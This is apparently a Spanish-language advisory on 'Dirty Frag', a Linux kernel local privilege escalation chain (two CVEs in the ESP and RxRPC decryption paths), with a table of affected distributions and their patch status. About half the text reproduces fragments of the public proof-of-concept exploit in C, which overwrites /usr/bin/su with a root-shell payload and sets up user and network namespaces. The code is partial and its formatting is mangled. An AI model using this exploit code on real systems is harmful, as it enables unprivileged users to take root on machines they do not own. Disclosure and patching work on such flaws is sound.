
Dirty Frag - vulnerabilidad crítica del kernel Linux
La cadena de explotación, clasificada como Escalada Local de Privilegios (LPE), permite a un usuario sin privilegios obtener acceso root en prácticamente todas las distribuciones modernas de Linux que ejecutan kernels publicados desde 2017, abarcando aproximadamente nueve años de versiones. La explotación opera sobre la ruta de descifrado in situ de los módulos esp4, esp6 y rxrpc, corrompiendo la caché de páginas del kernel mediante syscalls estándar como splice(2) y sendmsg(2), sin requerir interacción del usuario ni un vector de ataque remoto.
Las dos vulnerabilidades que lo componen son:
Escritura en la caché de páginas xfrm-ESP - CVE-2026-43284, en la ruta de entrada IPsec ESP. Fusionada en el árbol netdev el 7 de mayo de 2026 y aceptada en mainline el 8 de mayo de 2026 como el commit f4c50a4034e6 (se abre en una pestaña nueva).
Escritura en la caché de páginas RxRPC - CVE-2026-43500 reservada, en la ruta de verificación AFS RxRPC. No existe ningún parche en ningún árbol en el momento de la divulgación.
| Distribución | Versiones afectadas | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | Estado del parche |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Afectada | ✅ Afectada | Parcheado |
| AlmaLinux | 8, 9, 10 | ✅ Afectada | ⚠️ Solo 9 y 10¹ | Parcheado |
| Rocky Linux | 8, 9, 10 | ✅ Afectada | ✅ Afectada | Parcheado |
| CentOS | 8 | ✅ Afectada | ✅ Afectada | Parcheado |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Afectada | ✅ Afectada | Parcheado |
| Oracle Linux | RHCK / UEK afectados | ✅ Afectada | ✅ Afectada | Parcheado |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Afectada | ✅ Afectada | Parcheado |
| Debian | Bullseye, Bookworm, Trixie | ✅ Afectada | ✅ Afectada | Parcheado (sid primero) |
| Fedora | Versiones actuales | ✅ Afectada | ✅ Afectada | Parcheado |
| Arch Linux | Rolling | ✅ Afectada | ✅ Afectada | Parcheado |
| Amazon Linux | 2, 2023 | ✅ Afectada | ✅ Afectada | Parcheado |
| Proxmox VE | Versiones actuales | ✅ Afectada | ✅ Afectada | Parcheado |
Afectado: kernel Linux ≥ 4.14 (desde enero de 2017) · Todas las distribuciones principales · Sin vector remoto CVSS 3.1: 8.8 ALTO (CVE-2026-43284) · Divulgado: 7 de mayo de 2026 · PoC público día cero Investigador: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }